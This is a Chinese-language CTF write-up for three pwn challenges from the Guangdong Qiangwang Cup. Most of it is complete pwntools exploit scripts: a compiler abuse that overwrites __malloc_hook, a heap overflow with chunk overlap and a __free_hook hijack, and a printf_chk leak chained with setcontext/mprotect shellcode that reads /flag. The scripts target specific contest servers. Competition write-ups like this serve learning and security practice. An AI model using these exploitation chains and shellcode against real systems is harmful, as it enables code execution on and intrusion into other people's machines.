广东省强网杯团队赛pwn-wp

广东省强网杯团队赛pwn writeup

师兄:昨天强网杯怎么样?

我:预赛拿了第一

师兄:有没有什么收获?

我:有,收获了一整天的开心

pwn_c4

这个题的话,一眼看去不是很明白程序是干嘛的,我居然还试图去逆向,笑死,根本没有时间

后来搜了一手,发现了2020年的网鼎杯的boom1和这个比较类似

此处挂一挂轩哥的博客,网鼎杯boom1:https://xuanxuanblingbling.github.io/ctf/pwn/2020/05/10/boom/

大概就是一个小型的编译器,可以直接写程序,但是能用的语句比较有限,能用的比如if,int,malloc,free,printf这些

来个简单的测试,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
context.log_level='debug'
def debug():
gdb.attach(p)
pause()
p = remote('119.3.145.161', 8888)
# p=process('./pwn')

payload= '''
int main(int argc,char ** argv){
printf("%s","Hello World!\n");
}
'''

p.sendafter("Input:\n",payload)

p.interactive()

运行,可以看到成功打印出了”Hello World”:

感觉这个printf能用的话就很舒服了,计算某些量的时候可以直接log大法输出出来看看对不对

那大概知道了怎么玩之后,解题思路就很清晰了:在有限的语句下getshell

可以模仿一波轩哥的办法:

第一步,泄露地址,可以通过环境变量索引的方式拿到栈上的某个libc地址

第二步,计算出systemmalloc_hook

第三步,改malloc_hooksystemmalloc("/bin/sh")即可

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context.log_level='debug'
def debug():
gdb.attach(p)
pause()
p = remote('119.3.145.161', 8888)
# p=process('./pwn')
# debug()
payload= '''
int main(int argc,char ** argv){
int addr,libc,system,malloc_hook;
libc = argv[-28] - 231 - 0x21b10;
printf("addr: %p",libc);
system = libc + 0x4f550;
malloc_hook = libc + 0x3ebc30;
* (int *)malloc_hook = system;
malloc("/bin/sh");
}
'''

p.sendafter("Input:\n",payload)

p.interactive()

#flag{ebe275d346e3af315bcdc78aed613e2c}

当然,本题的做法其实可以有很多,因为可操作性还是挺大的

总结起来就是,本题可以直接运行代码并具有内存读写的能力,关键就是要在受到限制的情况下通过内存读写来完成shell的获取

T_S

本题中,花指令把最关键的部分藏起来了,所以要先去除一波

关键在edit里面调用到的这个函数:

一眼看去,我觉得不需要搞清楚他在干嘛,因为看到用了strlen,我猜测可能会波及到chunk的size字段

但测试了一波是ok的,再看下面

可以看到最后这里有将1置为0的操作,且for循环未设置边界:

试验了一下果然可以造成溢出,为了成功让他破坏size,填入的字符都为"\x01",即可循环到size那边,然后就是类似off-by-null的效果

有一次show的机会,泄露堆地址,即可伪造chunk绕过新版unlink,然后就是堆块重叠了,打到IO_2_1_stdout泄露libc地址,再free_hook--->system即可getshell

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *
context.log_level='debug'
context.arch='amd64'
local=0
if local:
sh=process('./pwn')
else:
sh=remote("123.60.63.28",49156)
libc=ELF('./libc-2.31.so')

sa = lambda s,n : sh.sendafter(s,n)
sla = lambda s,n : sh.sendlineafter(s,n)
sl = lambda s : sh.sendline(s)
sd = lambda s : sh.send(s)
rc = lambda n : sh.recv(n)
ru = lambda s : sh.recvuntil(s)
ti = lambda : sh.interactive()
leak = lambda name,addr :log.success(name+":"+hex(addr))
def menu(choice):
sla(">>",str(choice))
def debug():
gdb.attach(sh)
pause()
def add(size):
menu(1)
sla("name length",str(size))
def edit(idx,content):
menu(2)
sla("idx:",str(idx))
sa("name:",content)
def delete(idx):
menu(3)
sla("idx:",str(idx))
def show(idx):
menu(4)
sla("idx:",str(idx))

add(0x18)
add(0x18)
delete(0)
delete(1)
add(0x18)
add(0x18)
show(0)
ru("Name:\n")
heap_base=u64(rc(6).ljust(8,"\x00"))-0x2a0
leak("heap_base",heap_base)


add(0x100)#2
add(0x100)#3
add(0x18)#4
add(0x4f0)#5
add(0x18)#6
add(0x100)#7

edit(2,p64(0)+p64(0x100+0x110+0x21)+p64(heap_base+0x2e0)*2)

edit(4,'\x01'*0x18)
edit(4,'a'*0x10+p64(0x100+0x110+0x20))
delete(5)

delete(7)
delete(3)
add(0xf0)#3

add(0x20)#5
edit(5,"\xa0\x26")

add(0x100)#7
add(0x100)#8
edit(8,p64(0xfbad1800)+p64(0)*3+"\x00")
addr=u64(ru("\x7f")[-6:].ljust(8,"\x00"))
leak("addr",addr)
libc_base=addr-0x1eb980
leak("libc_base",libc_base)
free_hook=libc_base+libc.sym['__free_hook']
system=libc_base+libc.sym['system']

delete(0)
delete(4)
add(0xd0)#0

add(0x30)#4
edit(4,p64(free_hook))

add(0x18)#9
add(0x18)#10
edit(9,"/bin/sh\x00")
edit(10,p64(system))
delete(9)
ti()
#flag{327a6c4304ad5938eaf0efb6cc3e53dc}

GirlFriend

漏洞点:非常明显,off-by-one溢出一个字节

由于使用的是reallocadd函数中可同时完成free的功能,给realloc的第二个参数传0即可

操作次数有限,只有16次,所以本题需要一个关键点:即为printf_chk的格式化字符串漏洞

printf_chk的特性使其难以在五个字节内完成泄露和任意写

例如想要使用printf_chk完成对第七个参数的泄露,%7$p已经不再管用,而是要%p%p%p%p%p%p%p,即连写7个%p才行

然而,题目中的格式化字符串长度最多只能是5,最多只能写两个%p,同时寄存器的值也被清0,两个%p并泄露不出什么有用的信息

但其实使用%a就可以完成printf_chk的泄露,拿到libc地址

有了libc之后,也就是说在16次addfree内完成一次任意写即可,开了沙箱,那就free_hook+setcontext来打orw

利用手法就是溢出改size完成fd指针劫持,由于realloc的特点,在chunksize布置上要下点文章

除此之外,还可以利用此处的printf_chk把栈上残留的栈地址给泄露出来,即buf处原本的值

但是个人认为最关键的还是泄露libc,在不知道libc的情况下知道栈地址用处不大,而知道libc的话又没必要知道栈地址

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
from pwn import *
context.log_level='debug'
context.arch='amd64'
local=0
if local:
sh=process('./pwn')
else:
sh=remote("123.60.63.90",49156)
libc=ELF('./libc.so.6')

sa = lambda s,n : sh.sendafter(s,n)
sla = lambda s,n : sh.sendlineafter(s,n)
sl = lambda s : sh.sendline(s)
sd = lambda s : sh.send(s)
rc = lambda n : sh.recv(n)
ru = lambda s : sh.recvuntil(s)
ti = lambda : sh.interactive()
leak = lambda name,addr :log.success(name+":"+hex(addr))

def debug():
gdb.attach(sh)
pause()
def choice(ch):
sla("? ",str(ord(ch)))
def add(size,content='a'):
sla(">> ","1")
sla("size",str(size))
sa("data",content)
def show():
sla(">> ","4")
def back():
sla(">> ","3")
def delete():
sla(">> ","1")
sla("size",str(0))

choice("Y")
back()

choice("N")
sla("why ? reason","%a")
ru("0x0.0")

addr=int(rc(12),16)
leak("addr",addr)
libc_base=addr-131-libc.sym['_IO_2_1_stdout_']
leak("libc_base",libc_base)
free_hook=libc_base+libc.sym['__free_hook']
setcontext=libc_base+libc.sym['setcontext']

delete()

add(0x100)
delete()

add(0x220)
delete()

add(0x300)
delete()

add(0x108,'a'*0x108+"\x51")
delete()

add(0x220)
delete()

add(0x240,'a'*0x220+p64(0)+p64(0x51)+p64(free_hook))
delete()

add(0x300)
delete()

sc2_addr = free_hook & 0xfffffffffffff000
sc1 = '''
xor rdi, rdi
mov rsi, %d
mov edx, 0x1000

mov eax, 0; //SYS_read
syscall

jmp rsi
''' % sc2_addr

mprotect=libc_base+libc.sym['mprotect']
payload = p64(setcontext+53) + p64(free_hook + 0x10) + asm(sc1)

payload = payload.ljust(0x68,"\x00")
payload+=p64(sc2_addr)#rdi
payload+=p64(0x1000)#rsi
payload = payload.ljust(0x88,"\x00")
payload+=p64(4 | 2 | 1)#rdx
payload = payload.ljust(0xa0,"\x00")
payload+=p64(free_hook+8)
payload+=p64(mprotect)
add(0x300,payload)
leak("free_hook",free_hook)

delete()

flag_str = '/flag\x00\x00\x00'
sc2 = '''
mov rax, %s
push rax
mov rdi, 0
mov rsi, rsp
xor rdx, rdx
mov rax, 257; //openat
syscall

mov rdi, rax
mov rsi, rsp
mov rdx, 1024
mov rax, 0; //read
syscall

mov rdi, 1;
mov rsi, rsp
mov rdx, rax
mov rax, 1; //write
syscall

mov rdi, 0
mov rax, 60
syscall; //exit
''' % hex(u64(flag_str))
sd(asm(sc2))
ti()
0%